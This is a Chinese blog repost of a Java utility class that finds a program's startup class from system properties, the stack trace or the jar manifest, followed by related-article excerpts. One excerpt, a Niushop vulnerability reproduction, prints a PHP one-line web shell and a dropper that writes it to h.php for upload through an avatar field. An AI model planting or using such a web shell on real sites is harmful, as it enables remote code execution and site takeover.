获取程序启动类

news/2024/12/28 18:19:13/

    当程序有多个启动入口时,需要根据不同的启动类来决定方法是否执行,此时就需要获取启动类。

    首先根据系统参数 sun.java.command 来获取启动类,如果以jar包方式启动,则获取到的就是jar包名称,此时需要从线程栈中获取main方法或者从jar包的元数据中获取。

    java代码如下:

java">
import lombok.extern.slf4j.Slf4j;import java.io.File;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.*;
import java.util.jar.Attributes;
import java.util.jar.JarFile;
import java.util.jar.Manifest;@Slf4j
public class MainClassUtil {private static String MAIN_CLASS ;/*** 忽略的第三方引导类启动*/private static final Set<String> IGNORE_MAIN_CLASS = new HashSet<>(Arrays.asList("org.springframework.boot.loader.JarLauncher", "org.springframework.boot.loader.WarLauncher", "org.springframework.boot.loader.PropertiesLauncher"));/*** 查找启动类* @return 找到返回具体的类名称,否则返回空*/public static String getStartMainClass() {if (MAIN_CLASS != null && !MAIN_CLASS.isEmpty()) {return MAIN_CLASS;}// 系统参数String clazz = System.getProperty("sun.java.command");if (clazz.contains(".jar")) {// 通过堆栈跟踪clazz = fromStackTrace();// 通过 MANIFEST.MF 查找if(clazz == null || clazz.isEmpty()){clazz = fromJarFile();}}MAIN_CLASS = clazz;log.info("start class :{}",MAIN_CLASS);return clazz;}/*** 从jar文件 META-INF/MANIFEST.MF 获取* @return 启动类,未找到返回空*/private static String fromJarFile() {String javaCmd = System.getProperty("sun.java.command");String jarName = javaCmd.substring(0,javaCmd.indexOf(".jar") + 4);String userDir = System.getProperty("user.dir");// 拼接全路径if(!jarName.contains("/") && !jarName.contains("\\")){jarName = userDir + File.separator + jarName;}String clazz = null;log.info("jarName-------{}",jarName);try(JarFile jarFile = new JarFile(jarName)){Manifest manifest = jarFile.getManifest();Attributes attributes = manifest.getMainAttributes();clazz = attributes.getValue("Main-Class");if(IGNORE_MAIN_CLASS.contains(clazz)){clazz = attributes.getValue("Start-Class");}}catch (Exception e){log.error("jar包解析异常",e);}return clazz;}/*** 栈内信息查找* @return 启动类,未找到返回空*/private static String fromStackTrace(){StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();List<String> mainMethod = new ArrayList<>();String methodName, cl;for (StackTraceElement stack : stackTrace) {methodName = stack.getMethodName();cl = stack.getClassName();if ("main".equals(methodName) && !IGNORE_MAIN_CLASS.contains(cl)) {try {if (hasStandardMain(cl)) {mainMethod.add(cl);}} catch (Exception ignore) {}}}log.info("包含main方法的类:{}",mainMethod);return mainMethod.isEmpty() ? null : mainMethod.get(mainMethod.size() - 1);}/*** 判断是否有main方法* @param clazz 类名* @return true 有 false 没有*/private static boolean hasStandardMain(String clazz) throws Exception {Class<?> aClass = Class.forName(clazz);Method main = aClass.getDeclaredMethod("main", String[].class);Class<?> returnType = main.getReturnType();int modifiers = main.getModifiers();return Modifier.isPublic(modifiers) && Modifier.isStatic(modifiers) && (returnType.equals(void.class) || returnType.equals(Void.class)) ;}
}

 


http://www.ppmy.cn/news/1558850.html

相关文章

Linux网络——UDP的运用

Linux网络——UDP的运用 文章目录 Linux网络——UDP的运用一、引入二、服务端实现2.1 创建socket套接字2.2 指定网络接口并bind2.3 接收数据并处理2.4 整体代码2.5 IP的绑定的细节 三、用户端实现3.1 创建套接字3.2 指定网络接口3.3 发生数据并接收3.4 绑定问题 四、代码五、UD…

ByConity BSP 解锁数据仓库新未来

文章目录 前言BSP 模式简介基于 TPC-DS 的 ELT 活动测试环境登录 ECS数据查询配置 执行 02.sqlsql解释&#xff1a;1. 第一步&#xff1a;创建 wscs 临时表2. 第二步&#xff1a;创建 wswscs 临时表3. 第三步&#xff1a;对比 2001 年和 2002 年的数据子查询 1&#xff1a;提取…

【ETCD】【实操篇(十七)】 etcd 集群定期维护指南

目录 概述Raft 日志保留键空间历史压缩&#xff1a;v3 API 键值数据库碎片整理空间配额快照备份 概述 为了保持 etcd 集群的可靠性&#xff0c;需要定期进行维护。根据 etcd 应用程序的需求&#xff0c;这些维护通常可以自动化进行&#xff0c;并且不会导致停机或性能显著下降…

深度学习-论文即插即用模块1

[深度学习] 即插即用模块详解与实践 深度学习近年来已经成为人工智能的核心驱动力&#xff0c;各种模型和技术被广泛应用于图像处理、自然语言处理、语音识别等领域。然而&#xff0c;构建深度学习模型的过程通常复杂且耗时。为了提高开发效率并降低技术门槛&#xff0c;“即插…

SpringCloudAlibaba实战入门之路由网关Gateway断言(十二)

上一节课中我们初步讲解了网关的基本概念、基本功能,并且带大家实战体验了一下网关的初步效果,这节课我们继续学习关于网关的一些更高级有用功能,比如本篇文章的断言。 一、网关主要组成部分 上图中是核心的流程图,最主要的就是Route、Predicates 和 Filters 作用于特定路…

idea 安装插件(在线安装、离线安装)

目录 在线安装 离线安装 在线安装 1、打开IntelliJ IDEA 2024.x软件&#xff0c; 点击file-Settings 2、点击搜索框&#xff0c;输入plugins&#xff0c;找到plugins列&#xff0c;输入xxx软件--点击install 安装 3、重启idea 离线安装 1、在官网上下载插件包 &#xff08;1&…

操作002:HelloWorld

文章目录 操作002&#xff1a;HelloWorld一、目标二、具体操作1、创建Java工程①消息发送端&#xff08;生产者&#xff09;②消息接收端&#xff08;消费者&#xff09;③添加依赖 2、发送消息①Java代码②查看效果 3、接收消息①Java代码②控制台打印③查看后台管理界面 操作…

Niushop开源商城(漏洞复现)

文件上传漏洞 注册一个账号后登录 在个人中心修改个人头像 选择我们的图片马 #一句话(不想麻烦的选择一句话也可以) <?php eval($_POST["cmd"]);?> #生成h.php文件 <?php fputs(fopen(h.php,w),<?php eval($_POST["cmd"]);?>); ?&…